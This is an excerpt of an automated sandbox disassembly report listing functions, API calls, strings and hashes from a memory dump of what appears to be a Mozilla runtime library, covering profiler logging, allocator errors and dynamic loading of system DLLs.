Instruction Fuzzy Hash: 6C21A3743006019FDB19DF25C888A5A77B5AF8930DF24882DE55BD3B41DB32F948CB59

Function 6C5D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5D1699
VerSetConditionMask.NTDLL ref: 6C5D16CB
VerSetConditionMask.NTDLL ref: 6C5D16D7
VerSetConditionMask.NTDLL ref: 6C5D16DE
VerSetConditionMask.NTDLL ref: 6C5D16E5
VerSetConditionMask.NTDLL ref: 6C5D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5D16F9

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 67577ebe49d17a3ccec59061c3a02b290e4df63e0576019460d4237ec7c7040e
Instruction ID: 23cee11a65e2504c8b69f99396196c1f5b04b2deaa21d13bf2f59a05d4a61989
Opcode Fuzzy Hash: 67577ebe49d17a3ccec59061c3a02b290e4df63e0576019460d4237ec7c7040e
Instruction Fuzzy Hash: 1A2105B07443086FEB10AA69CC85FBBB37CDFC6714F018528F6059B5C0C675AD54C6A9

Function 6C60F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C60F598), ref: 6C60F621

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F637
AcquireSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F645
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C60F62A

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 043f63798c2b444865e288ebabb86b427423d5d651e607e537e082cbfa119955
Instruction ID: 9a92f19a6610737584b725332530df99a0d0ceb9258de24e5a05393cdbc1f128
Opcode Fuzzy Hash: 043f63798c2b444865e288ebabb86b427423d5d651e607e537e082cbfa119955
Instruction Fuzzy Hash: 5711C475301604ABCB08BF1AD984D99777AFFC636CF508015EA0593F01CB31A811CBAE

Function 6C6276C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C627705

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C627717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C62778F,00000000,00000000,00000000,00000000), ref: 6C627731
free.MOZGLUE(00000000), ref: 6C627760

Strings

}>`l, xrefs: 6C6276C4

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>`l
API String ID: 2538299546-3072141587
Opcode ID: 4c9598bda6d2e90a084a4de389eb9d0ca17d6f97fe1f1d20a2e0b83aeeb7daae
Instruction ID: c3d4378455803f95b78f1705808f51f36872603c8c697ba22f0fcb4c9f401e01
Opcode Fuzzy Hash: 4c9598bda6d2e90a084a4de389eb9d0ca17d6f97fe1f1d20a2e0b83aeeb7daae
Instruction Fuzzy Hash: 6D11B6B1905225ABD710AF76DC44BAB7EF8EF85354F044529F88897300E77498408BE6

Function 6C5D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5FD9F0,00000000), ref: 6C5D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5D0F3C
__Init_thread_footer.LIBCMT ref: 6C5D0F50
FreeLibrary.KERNEL32(?,6C5FD9F0,00000000), ref: 6C5D0F86

Strings

CoInitializeEx, xrefs: 6C5D0F36
combase.dll, xrefs: 6C5D0F18

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b08ba57f2096b3538400d8a4aa41b0ff22a02031b0fd70db0a7ab4feb17b6512
Instruction ID: 8f071aa9ad6c78448b1dd1fd6f9e96fb96bad741c7f267a215224122894ab938
Opcode Fuzzy Hash: b08ba57f2096b3538400d8a4aa41b0ff22a02031b0fd70db0a7ab4feb17b6512
Instruction Fuzzy Hash: 3011A374305341DBDF08EF5ACD88E9A3774EBDA32AF12C61AE90582640D732A402CE5F

Function 6C60F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F561

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F585
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C60F56A
[I %d/%d] profiler_resume, xrefs: 6C60F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C60F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C60F499

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e407e1350ac451a5fc7379847cedbeecbaff4c3046b82c18f9a7f2c6ed72cf4e
Instruction ID: 25a4f2503e7b2589e15691826098b65cda557280f792d49c8a3742f0f93caff6
Opcode Fuzzy Hash: e407e1350ac451a5fc7379847cedbeecbaff4c3046b82c18f9a7f2c6ed72cf4e
Instruction Fuzzy Hash: 2BF054757006049BDB007F66D888E5E77BDEFC62ADF00C425EA0593702DF754805876E

Function 6C5D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5D0DF8), ref: 6C5D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5D0EA1
__Init_thread_footer.LIBCMT ref: 6C5D0EB5
FreeLibrary.KERNEL32 ref: 6C5D0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5D0E9B
kernel32.dll, xrefs: 6C5D0E7D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 45f8af100d11d7bb55ef71b0fb3e360fb3c39d1991526dd66b0e86f78fe5c089
Instruction ID: f59b3caed3f4828c66e936044b7d4f7b924166f00c8a3391698a845505d7d67e
Opcode Fuzzy Hash: 45f8af100d11d7bb55ef71b0fb3e360fb3c39d1991526dd66b0e86f78fe5c089
Instruction Fuzzy Hash: 19012874700382CBDB00AFAAE894A4A73B5E78631EF11E926991182F40D778B4098A1F

Function 6C60F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C60F598), ref: 6C60F621

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F637
AcquireSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F645
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C60F62A

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: cc6d68ad72fc5b166cb82083215bd2c28ea39f7f7339ea20b0828db9f2788256
Instruction ID: ba862d501ad535c864b57e78dc334620c66ebf1d02d3942686957ddec044b417
Opcode Fuzzy Hash: cc6d68ad72fc5b166cb82083215bd2c28ea39f7f7339ea20b0828db9f2788256
Instruction Fuzzy Hash: ADF05EB5300604ABDB007F66D888E5E7BBDEFC62ADF00C425EA0593742DB754C068B6E

Function 6C6005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5FCFAE,?,?,?,6C5C31A7), ref: 6C6005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5FCFAE,?,?,?,6C5C31A7), ref: 6C600616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5C31A7), ref: 6C60061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5C31A7), ref: 6C600627

Strings

<jemalloc>, xrefs: 6C6005FA, 6C60060F
: (malloc) Error in VirtualFree(), xrefs: 6C60061B, 6C600625

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 3c028313160149d0e479200739425540fcfb25030bae9470754f9279b4a9ce95
Instruction ID: 11a61e6009b6077c91222afa0d54f75a81918fc4ef17807b646ddc6fcfd07655
Opcode Fuzzy Hash: 3c028313160149d0e479200739425540fcfb25030bae9470754f9279b4a9ce95
Instruction Fuzzy Hash: 0BE08CE2A0202037F6142256AC86DBB761CDBC6138F080139FE0E87301E94AAD1A51FA

Function 6C5D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5658be6edb08feacf7e4e0eab0c08d05c4b3bc33eaa7164ab3e6824e059d344d
Instruction ID: c0a63c71a7f793b22fa5b91e5e5bd8e2af0281a6ce04312145e950b670540c22
Opcode Fuzzy Hash: 5658be6edb08feacf7e4e0eab0c08d05c4b3bc33eaa7164ab3e6824e059d344d
Instruction Fuzzy Hash: 06A12770A01745CFDB14CF29C994A9AFBF1BB89304F45866AD44A9BB00E731B985CF94

Function 6C6214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6214E2
GetCurrentThreadId.KERNEL32 ref: 6C621546
InitializeConditionVariable.KERNEL32(?), ref: 6C6215BA
free.MOZGLUE(?), ref: 6C6216B4

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 76973b4e4d4aad6d9b7d5f44913697e364456f406d7be569bc57b9393696d146
Instruction ID: 7bbc4385bf2c19e2037474ad6467070cdb38aca36303bbae4f7073e781e2db62
Opcode Fuzzy Hash: 76973b4e4d4aad6d9b7d5f44913697e364456f406d7be569bc57b9393696d146
Instruction Fuzzy Hash: CB61F271A047009BDB21DF25C880BDEB7B0BF8A308F44851CED8A67701DB35E959CB99

Function 6C61DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C61D38A,?), ref: 6C61DC6F
free.MOZGLUE(?,?,?,?,?,6C61D38A,?), ref: 6C61DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C61D38A,?), ref: 6C61DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C61D38A,?), ref: 6C61DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C61D38A,?), ref: 6C61DD4A

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction ID: dee93f484dbf10babaae7559b463710b9726233886895710366c1c9aec2fd4bc
Opcode Fuzzy Hash: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction Fuzzy Hash: 15415AB5A00605DFCB00CFA9C88099AB7F6FF89318B554569DA45ABB10D771FC00CB94

Function 6C5FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5FF480

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

CloseHandle.KERNEL32(00000000), ref: 6C5FF555

Part of subcall function 6C5D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D1248,6C5D1248,?), ref: 6C5D14C9
Part of subcall function 6C5D14B0: memcpy.VCRUNTIME140(?,6C5D1248,00000000,?,6C5D1248,?), ref: 6C5D14EF

Part of subcall function 6C5CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5CEEE3

CreateFileW.KERNEL32 ref: 6C5FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5FF523

Strings

\oleacc.dll, xrefs: 6C5FF4CB

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction ID: 3b33cb4800f84965448955d47e7e9c572bcaf1c2a2058b4a4163e88889fef48c
Opcode Fuzzy Hash: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction Fuzzy Hash: 5941BC306087109FE725DF69CC84A9BB7F4AF85318F104B1CE5A083A51EB70E94ACF92

Function 6C6274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C627526
__Init_thread_footer.LIBCMT ref: 6C627566
__Init_thread_footer.LIBCMT ref: 6C627597

Strings

UnmapViewOfFile2, xrefs: 6C627552
kernel32.dll, xrefs: 6C627557

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8ad65f9df3f87014ba9b51f716028e304e07cfd38e280783fbb20b9634e57da2
Instruction ID: f836c2573638acb4679bf3ac4df52c18e56fd6ebf02ef9867ef86fccfc8e85f3
Opcode Fuzzy Hash: 8ad65f9df3f87014ba9b51f716028e304e07cfd38e280783fbb20b9634e57da2
Instruction Fuzzy Hash: 3D21D331700501A7DB18DFEAD894E9A7376EB8632DF15C528D80557F80DB2DA8028E9F

Function 6C62C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C62C0E9), ref: 6C62C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C62C437
FreeLibrary.KERNEL32(?,6C62C0E9), ref: 6C62C44C

Strings

NtQueryVirtualMemory, xrefs: 6C62C431
ntdll.dll, xrefs: 6C62C413

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction ID: 44ca26d44f00dcbc182d4a83ddd1486ba018090b1929048988630f2cf9a13dff
Opcode Fuzzy Hash: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction Fuzzy Hash: A9E09270705701AFEB007FB7CD88B167AF8AB8638CF00E116AA0599651EBB4C0028A5E

Function 6C6275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C62748B,?), ref: 6C6275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6275D7
FreeLibrary.KERNEL32(?,6C62748B,?), ref: 6C6275EC

Strings

ntdll.dll, xrefs: 6C6275B3
RtlNtStatusToDosError, xrefs: 6C6275D1

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
